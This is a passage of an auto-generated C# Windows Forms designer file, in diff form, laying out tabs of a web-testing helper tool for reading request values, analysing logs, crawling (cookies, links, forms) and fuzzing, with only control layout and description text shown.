System.Drawing.Size(79, 13); + this.label5.TabIndex = 51; + this.label5.Text = "=\"value to get\""; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label4.Location = new System.Drawing.Point(5, 7); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(18, 20); + this.label4.TabIndex = 48; + this.label4.Text = "<"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label7.Location = new System.Drawing.Point(368, 9); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(24, 20); + this.label7.TabIndex = 55; + this.label7.Text = "\">"; + // + // HtmlGVTagTB + // + this.HtmlGVTagTB.Location = new System.Drawing.Point(23, 8); + this.HtmlGVTagTB.Name = "HtmlGVTagTB"; + this.HtmlGVTagTB.Size = new System.Drawing.Size(50, 20); + this.HtmlGVTagTB.TabIndex = 49; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label6.Location = new System.Drawing.Point(292, 8); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(24, 20); + this.label6.TabIndex = 54; + this.label6.Text = "=\""; + // + // HtmlGVMainAttributeNameTB + // + this.HtmlGVMainAttributeNameTB.Location = new System.Drawing.Point(94, 8); + this.HtmlGVMainAttributeNameTB.Name = "HtmlGVMainAttributeNameTB"; + this.HtmlGVMainAttributeNameTB.Size = new System.Drawing.Size(50, 20); + this.HtmlGVMainAttributeNameTB.TabIndex = 50; + // + // HtmlGVHelperAttributeValueTB + // + this.HtmlGVHelperAttributeValueTB.Location = new System.Drawing.Point(316, 9); + this.HtmlGVHelperAttributeValueTB.Name = "HtmlGVHelperAttributeValueTB"; + this.HtmlGVHelperAttributeValueTB.Size = new System.Drawing.Size(50, 20); + this.HtmlGVHelperAttributeValueTB.TabIndex = 53; + // + // HtmlGVHelperAttributeNameTB + // + this.HtmlGVHelperAttributeNameTB.Location = new System.Drawing.Point(240, 9); + this.HtmlGVHelperAttributeNameTB.Name = "HtmlGVHelperAttributeNameTB"; + this.HtmlGVHelperAttributeNameTB.Size = new System.Drawing.Size(50, 20); + this.HtmlGVHelperAttributeNameTB.TabIndex = 52; + // + // HtmlOptionsGrid + // + this.HtmlOptionsGrid.AllowUserToAddRows = false; + this.HtmlOptionsGrid.AllowUserToDeleteRows = false; + this.HtmlOptionsGrid.AllowUserToResizeRows = false; + this.HtmlOptionsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.HtmlOptionsGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.HtmlOptionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7; + this.HtmlOptionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.HtmlOptionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn6, + this.dataGridViewTextBoxColumn10, + this.Column6}); + this.HtmlOptionsGrid.GridColor = System.Drawing.Color.White; + this.HtmlOptionsGrid.Location = new System.Drawing.Point(224, 142); + this.HtmlOptionsGrid.Name = "HtmlOptionsGrid"; + this.HtmlOptionsGrid.ReadOnly = true; + this.HtmlOptionsGrid.RowHeadersVisible = false; + this.HtmlOptionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.HtmlOptionsGrid.Size = new System.Drawing.Size(226, 111); + this.HtmlOptionsGrid.TabIndex = 46; + this.HtmlOptionsGrid.Visible = false; + this.HtmlOptionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.HtmlOptionsGrid_CellClick); + // + // dataGridViewCheckBoxColumn6 + // + this.dataGridViewCheckBoxColumn6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn6.HeaderText = ""; + this.dataGridViewCheckBoxColumn6.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn6.Name = "dataGridViewCheckBoxColumn6"; + this.dataGridViewCheckBoxColumn6.ReadOnly = true; + this.dataGridViewCheckBoxColumn6.Width = 25; + // + // dataGridViewTextBoxColumn10 + // + this.dataGridViewTextBoxColumn10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn10.HeaderText = "Select an Option:"; + this.dataGridViewTextBoxColumn10.Name = "dataGridViewTextBoxColumn10"; + this.dataGridViewTextBoxColumn10.ReadOnly = true; + this.dataGridViewTextBoxColumn10.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn10.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // Column6 + // + this.Column6.HeaderText = "Type"; + this.Column6.Name = "Column6"; + this.Column6.ReadOnly = true; + this.Column6.Visible = false; + // + // HtmlErrorTB + // + this.HtmlErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.HtmlErrorTB.BackColor = System.Drawing.Color.Red; + this.HtmlErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.HtmlErrorTB.Location = new System.Drawing.Point(224, 259); + this.HtmlErrorTB.Multiline = true; + this.HtmlErrorTB.Name = "HtmlErrorTB"; + this.HtmlErrorTB.ReadOnly = true; + this.HtmlErrorTB.Size = new System.Drawing.Size(449, 35); + this.HtmlErrorTB.TabIndex = 37; + this.HtmlErrorTB.TabStop = false; + this.HtmlErrorTB.Visible = false; + // + // HtmlCreateCodeBtn + // + this.HtmlCreateCodeBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.HtmlCreateCodeBtn.Enabled = false; + this.HtmlCreateCodeBtn.Location = new System.Drawing.Point(712, 271); + this.HtmlCreateCodeBtn.Name = "HtmlCreateCodeBtn"; + this.HtmlCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.HtmlCreateCodeBtn.TabIndex = 36; + this.HtmlCreateCodeBtn.Text = "Generate Code"; + this.HtmlCreateCodeBtn.UseVisualStyleBackColor = true; + this.HtmlCreateCodeBtn.Click += new System.EventHandler(this.HtmlCreateCodeBtn_Click); + // + // HtmlDescriptionTB + // + this.HtmlDescriptionTB.BackColor = System.Drawing.Color.White; + this.HtmlDescriptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.HtmlDescriptionTB.Location = new System.Drawing.Point(229, 53); + this.HtmlDescriptionTB.Multiline = true; + this.HtmlDescriptionTB.Name = "HtmlDescriptionTB"; + this.HtmlDescriptionTB.ReadOnly = true; + this.HtmlDescriptionTB.Size = new System.Drawing.Size(217, 79); + this.HtmlDescriptionTB.TabIndex = 35; + this.HtmlDescriptionTB.TabStop = false; + // + // HtmlMainActionsGrid + // + this.HtmlMainActionsGrid.AllowUserToAddRows = false; + this.HtmlMainActionsGrid.AllowUserToDeleteRows = false; + this.HtmlMainActionsGrid.AllowUserToResizeRows = false; + this.HtmlMainActionsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.HtmlMainActionsGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.HtmlMainActionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle8; + this.HtmlMainActionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.HtmlMainActionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn5, + this.dataGridViewTextBoxColumn7, + this.dataGridViewTextBoxColumn9}); + this.HtmlMainActionsGrid.GridColor = System.Drawing.Color.White; + this.HtmlMainActionsGrid.Location = new System.Drawing.Point(6, 52); + this.HtmlMainActionsGrid.Name = "HtmlMainActionsGrid"; + this.HtmlMainActionsGrid.ReadOnly = true; + this.HtmlMainActionsGrid.RowHeadersVisible = false; + this.HtmlMainActionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.HtmlMainActionsGrid.Size = new System.Drawing.Size(210, 243); + this.HtmlMainActionsGrid.TabIndex = 10; + this.HtmlMainActionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.HtmlMainActionsGrid_CellClick); + // + // dataGridViewCheckBoxColumn5 + // + this.dataGridViewCheckBoxColumn5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn5.HeaderText = ""; + this.dataGridViewCheckBoxColumn5.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn5.Name = "dataGridViewCheckBoxColumn5"; + this.dataGridViewCheckBoxColumn5.ReadOnly = true; + this.dataGridViewCheckBoxColumn5.Width = 25; + // + // dataGridViewTextBoxColumn7 + // + this.dataGridViewTextBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn7.HeaderText = "Select the Action:"; + this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; + this.dataGridViewTextBoxColumn7.ReadOnly = true; + this.dataGridViewTextBoxColumn7.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn7.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // dataGridViewTextBoxColumn9 + // + this.dataGridViewTextBoxColumn9.HeaderText = "Desc"; + this.dataGridViewTextBoxColumn9.Name = "dataGridViewTextBoxColumn9"; + this.dataGridViewTextBoxColumn9.ReadOnly = true; + this.dataGridViewTextBoxColumn9.Visible = false; + // + // textBox4 + // + this.textBox4.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox4.BackColor = System.Drawing.Color.White; + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Location = new System.Drawing.Point(17, 14); + this.textBox4.Multiline = true; + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(826, 28); + this.textBox4.TabIndex = 9; + this.textBox4.TabStop = false; + this.textBox4.Text = "You can read or modify any of the parameters in the Request. Select the parameter" + + " type, name and actions you want to perform below and the equivalent code will b" + + "e generated. "; + // + // tabPage9 + // + this.tabPage9.Controls.Add(this.ResODescTB); + this.tabPage9.Controls.Add(this.ResOCreateCodeBtn); + this.tabPage9.Controls.Add(this.ResOActionsGrid); + this.tabPage9.Controls.Add(this.textBox15); + this.tabPage9.Location = new System.Drawing.Point(4, 22); + this.tabPage9.Name = "tabPage9"; + this.tabPage9.Size = new System.Drawing.Size(868, 302); + this.tabPage9.TabIndex = 2; + this.tabPage9.Text = " Miscellaneous "; + this.tabPage9.UseVisualStyleBackColor = true; + // + // ResODescTB + // + this.ResODescTB.BackColor = System.Drawing.Color.White; + this.ResODescTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ResODescTB.Location = new System.Drawing.Point(377, 74); + this.ResODescTB.Multiline = true; + this.ResODescTB.Name = "ResODescTB"; + this.ResODescTB.ReadOnly = true; + this.ResODescTB.Size = new System.Drawing.Size(298, 79); + this.ResODescTB.TabIndex = 42; + this.ResODescTB.TabStop = false; + // + // ResOCreateCodeBtn + // + this.ResOCreateCodeBtn.Enabled = false; + this.ResOCreateCodeBtn.Location = new System.Drawing.Point(377, 171); + this.ResOCreateCodeBtn.Name = "ResOCreateCodeBtn"; + this.ResOCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.ResOCreateCodeBtn.TabIndex = 37; + this.ResOCreateCodeBtn.Text = "Generate Code"; + this.ResOCreateCodeBtn.UseVisualStyleBackColor = true; + this.ResOCreateCodeBtn.Click += new System.EventHandler(this.ResOCreateCodeBtn_Click); + // + // ResOActionsGrid + // + this.ResOActionsGrid.AllowUserToAddRows = false; + this.ResOActionsGrid.AllowUserToDeleteRows = false; + this.ResOActionsGrid.AllowUserToResizeRows = false; + this.ResOActionsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ResOActionsGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle9.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle9.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle9.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle9.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle9.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle9.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResOActionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle9; + this.ResOActionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ResOActionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn9, + this.dataGridViewTextBoxColumn13, + this.dataGridViewTextBoxColumn18, + this.dataGridViewTextBoxColumn14}); + this.ResOActionsGrid.GridColor = System.Drawing.Color.White; + this.ResOActionsGrid.Location = new System.Drawing.Point(16, 49); + this.ResOActionsGrid.Name = "ResOActionsGrid"; + this.ResOActionsGrid.ReadOnly = true; + this.ResOActionsGrid.RowHeadersVisible = false; + this.ResOActionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ResOActionsGrid.Size = new System.Drawing.Size(337, 243); + this.ResOActionsGrid.TabIndex = 12; + this.ResOActionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ResOActionsGrid_CellClick); + // + // dataGridViewCheckBoxColumn9 + // + this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn9.HeaderText = ""; + this.dataGridViewCheckBoxColumn9.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; + this.dataGridViewCheckBoxColumn9.ReadOnly = true; + this.dataGridViewCheckBoxColumn9.Width = 25; + // + // dataGridViewTextBoxColumn13 + // + this.dataGridViewTextBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn13.HeaderText = "Select the Action:"; + this.dataGridViewTextBoxColumn13.Name = "dataGridViewTextBoxColumn13"; + this.dataGridViewTextBoxColumn13.ReadOnly = true; + this.dataGridViewTextBoxColumn13.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn13.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // dataGridViewTextBoxColumn18 + // + this.dataGridViewTextBoxColumn18.HeaderText = "Id"; + this.dataGridViewTextBoxColumn18.Name = "dataGridViewTextBoxColumn18"; + this.dataGridViewTextBoxColumn18.ReadOnly = true; + this.dataGridViewTextBoxColumn18.Visible = false; + // + // dataGridViewTextBoxColumn14 + // + this.dataGridViewTextBoxColumn14.HeaderText = "Desc"; + this.dataGridViewTextBoxColumn14.Name = "dataGridViewTextBoxColumn14"; + this.dataGridViewTextBoxColumn14.ReadOnly = true; + this.dataGridViewTextBoxColumn14.Visible = false; + // + // textBox15 + // + this.textBox15.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox15.BackColor = System.Drawing.Color.White; + this.textBox15.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox15.Location = new System.Drawing.Point(27, 11); + this.textBox15.Multiline = true; + this.textBox15.Name = "textBox15"; + this.textBox15.ReadOnly = true; + this.textBox15.Size = new System.Drawing.Size(826, 28); + this.textBox15.TabIndex = 11; + this.textBox15.TabStop = false; + this.textBox15.Text = "You can read or modify any of the parameters in the Request. Select the parameter" + + " type, name and actions you want to perform below and the equivalent code will b" + + "e generated. "; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.LogCreateCodeBtn); + this.tabPage3.Controls.Add(this.LogSourceGrid); + this.tabPage3.Controls.Add(this.LogErrorTB); + this.tabPage3.Controls.Add(this.textBox6); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(876, 328); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " Log Analysis "; + this.tabPage3.UseVisualStyleBackColor = true; + // + // LogCreateCodeBtn + // + this.LogCreateCodeBtn.Enabled = false; + this.LogCreateCodeBtn.Location = new System.Drawing.Point(285, 90); + this.LogCreateCodeBtn.Name = "LogCreateCodeBtn"; + this.LogCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.LogCreateCodeBtn.TabIndex = 16; + this.LogCreateCodeBtn.Text = "Generate Code"; + this.LogCreateCodeBtn.UseVisualStyleBackColor = true; + this.LogCreateCodeBtn.Click += new System.EventHandler(this.LogCreateCodeBtn_Click); + // + // LogSourceGrid + // + this.LogSourceGrid.AllowUserToAddRows = false; + this.LogSourceGrid.AllowUserToDeleteRows = false; + this.LogSourceGrid.AllowUserToResizeRows = false; + this.LogSourceGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle10.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle10.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle10.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle10.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle10.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle10.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle10.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.LogSourceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle10; + this.LogSourceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.LogSourceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn7, + this.dataGridViewTextBoxColumn11}); + this.LogSourceGrid.GridColor = System.Drawing.Color.White; + this.LogSourceGrid.Location = new System.Drawing.Point(8, 62); + this.LogSourceGrid.Name = "LogSourceGrid"; + this.LogSourceGrid.ReadOnly = true; + this.LogSourceGrid.RowHeadersVisible = false; + this.LogSourceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.LogSourceGrid.Size = new System.Drawing.Size(271, 255); + this.LogSourceGrid.TabIndex = 15; + this.LogSourceGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.LogSourceGrid_CellClick); + // + // dataGridViewCheckBoxColumn7 + // + this.dataGridViewCheckBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn7.HeaderText = ""; + this.dataGridViewCheckBoxColumn7.MinimumWidth = 25; + this.dataGridViewCheckBoxColumn7.Name = "dataGridViewCheckBoxColumn7"; + this.dataGridViewCheckBoxColumn7.ReadOnly = true; + this.dataGridViewCheckBoxColumn7.Width = 25; + // + // dataGridViewTextBoxColumn11 + // + this.dataGridViewTextBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn11.HeaderText = "Select the Log Source from below:"; + this.dataGridViewTextBoxColumn11.Name = "dataGridViewTextBoxColumn11"; + this.dataGridViewTextBoxColumn11.ReadOnly = true; + this.dataGridViewTextBoxColumn11.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewTextBoxColumn11.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // LogErrorTB + // + this.LogErrorTB.BackColor = System.Drawing.Color.Red; + this.LogErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.LogErrorTB.Location = new System.Drawing.Point(285, 119); + this.LogErrorTB.Multiline = true; + this.LogErrorTB.Name = "LogErrorTB"; + this.LogErrorTB.ReadOnly = true; + this.LogErrorTB.Size = new System.Drawing.Size(258, 83); + this.LogErrorTB.TabIndex = 17; + this.LogErrorTB.TabStop = false; + this.LogErrorTB.Visible = false; + // + // textBox6 + // + this.textBox6.BackColor = System.Drawing.Color.White; + this.textBox6.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox6.Location = new System.Drawing.Point(22, 16); + this.textBox6.Multiline = true; + this.textBox6.Name = "textBox6"; + this.textBox6.ReadOnly = true; + this.textBox6.Size = new System.Drawing.Size(726, 24); + this.textBox6.TabIndex = 14; + this.textBox6.TabStop = false; + this.textBox6.Text = "You can select the log that you want to analyze and equivalent code will be gener" + + "ated for you:"; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.textBox14); + this.tabPage4.Controls.Add(this.textBox13); + this.tabPage4.Controls.Add(this.textBox12); + this.tabPage4.Controls.Add(this.CrawlCreateCodeBtn); + this.tabPage4.Controls.Add(this.CrawlFormsRB); + this.tabPage4.Controls.Add(this.CrawlLinksRB); + this.tabPage4.Controls.Add(this.CrawlCookiesRB); + this.tabPage4.Controls.Add(this.textBox5); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(876, 328); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = " Crawling "; + this.tabPage4.UseVisualStyleBackColor = true; + // + // textBox14 + // + this.textBox14.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox14.BackColor = System.Drawing.Color.White; + this.textBox14.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox14.Location = new System.Drawing.Point(46, 213); + this.textBox14.Multiline = true; + this.textBox14.Name = "textBox14"; + this.textBox14.ReadOnly = true; + this.textBox14.Size = new System.Drawing.Size(789, 38); + this.textBox14.TabIndex = 23; + this.textBox14.TabStop = false; + this.textBox14.Text = resources.GetString("textBox14.Text"); + // + // textBox13 + // + this.textBox13.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox13.BackColor = System.Drawing.Color.White; + this.textBox13.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox13.Location = new System.Drawing.Point(45, 141); + this.textBox13.Multiline = true; + this.textBox13.Name = "textBox13"; + this.textBox13.ReadOnly = true; + this.textBox13.Size = new System.Drawing.Size(789, 38); + this.textBox13.TabIndex = 22; + this.textBox13.TabStop = false; + this.textBox13.Text = resources.GetString("textBox13.Text"); + // + // textBox12 + // + this.textBox12.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox12.BackColor = System.Drawing.Color.White; + this.textBox12.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox12.Location = new System.Drawing.Point(46, 76); + this.textBox12.Multiline = true; + this.textBox12.Name = "textBox12"; + this.textBox12.ReadOnly = true; + this.textBox12.Size = new System.Drawing.Size(789, 38); + this.textBox12.TabIndex = 21; + this.textBox12.TabStop = false; + this.textBox12.Text = "Web sites use Cookies generally to handle session. This section will show you how" + + " to can handle cookies across multiple requests and responses by using the Cooki" + + "eStore class"; + // + // CrawlCreateCodeBtn + // + this.CrawlCreateCodeBtn.Location = new System.Drawing.Point(28, 295); + this.CrawlCreateCodeBtn.Name = "CrawlCreateCodeBtn"; + this.CrawlCreateCodeBtn.Size = new System.Drawing.Size(136, 23); + this.CrawlCreateCodeBtn.TabIndex = 20; + this.CrawlCreateCodeBtn.Text = "Generate Code"; + this.CrawlCreateCodeBtn.UseVisualStyleBackColor = true; + this.CrawlCreateCodeBtn.Click += new System.EventHandler(this.CrawlCreateCodeBtn_Click); + // + // CrawlFormsRB + // + this.CrawlFormsRB.AutoSize = true; + this.CrawlFormsRB.Location = new System.Drawing.Point(28, 192); + this.CrawlFormsRB.Name = "CrawlFormsRB"; + this.CrawlFormsRB.Size = new System.Drawing.Size(185, 17); + this.CrawlFormsRB.TabIndex = 18; + this.CrawlFormsRB.Text = "Submitting Forms in the Response"; + this.CrawlFormsRB.UseVisualStyleBackColor = true; + // + // CrawlLinksRB + // + this.CrawlLinksRB.AutoSize = true; + this.CrawlLinksRB.Location = new System.Drawing.Point(28, 123); + this.CrawlLinksRB.Name = "CrawlLinksRB"; + this.CrawlLinksRB.Size = new System.Drawing.Size(185, 17); + this.CrawlLinksRB.TabIndex = 17; + this.CrawlLinksRB.Text = "Clicking on Links in the Response"; + this.CrawlLinksRB.UseVisualStyleBackColor = true; + // + // CrawlCookiesRB + // + this.CrawlCookiesRB.AutoSize = true; + this.CrawlCookiesRB.Checked = true; + this.CrawlCookiesRB.Location = new System.Drawing.Point(28, 58); + this.CrawlCookiesRB.Name = "CrawlCookiesRB"; + this.CrawlCookiesRB.Size = new System.Drawing.Size(169, 17); + this.CrawlCookiesRB.TabIndex = 16; + this.CrawlCookiesRB.TabStop = true; + this.CrawlCookiesRB.Text = "Handling Cookies and Session"; + this.CrawlCookiesRB.UseVisualStyleBackColor = true; + // + // textBox5 + // + this.textBox5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox5.BackColor = System.Drawing.Color.White; + this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox5.Location = new System.Drawing.Point(28, 14); + this.textBox5.Multiline = true; + this.textBox5.Name = "textBox5"; + this.textBox5.ReadOnly = true; + this.textBox5.Size = new System.Drawing.Size(789, 38); + this.textBox5.TabIndex = 15; + this.textBox5.TabStop = false; + this.textBox5.Text = resources.GetString("textBox5.Text"); + // + // tabPage14 + // + this.tabPage14.Controls.Add(this.FuzzBaseTabs); + this.tabPage14.Location = new System.Drawing.Point(4, 22); + this.tabPage14.Name = "tabPage14"; + this.tabPage14.Size = new System.Drawing.Size(876, 328); + this.tabPage14.TabIndex = 5; + this.tabPage14.Text = " Fuzzing "; + this.tabPage14.UseVisualStyleBackColor = true; + // + // FuzzBaseTabs + // + this.FuzzBaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.FuzzBaseTabs.Controls.Add(this.NameTab); + this.FuzzBaseTabs.Controls.Add(this.LanguageTab); + this.FuzzBaseTabs.Controls.Add(this.PayloadsTab); + this.FuzzBaseTabs.Controls.Add(this.FinalTab); + this.FuzzBaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.FuzzBaseTabs.Location = new System.Drawing.Point(0, 0); + this.FuzzBaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.FuzzBaseTabs.Name = "FuzzBaseTabs"; + 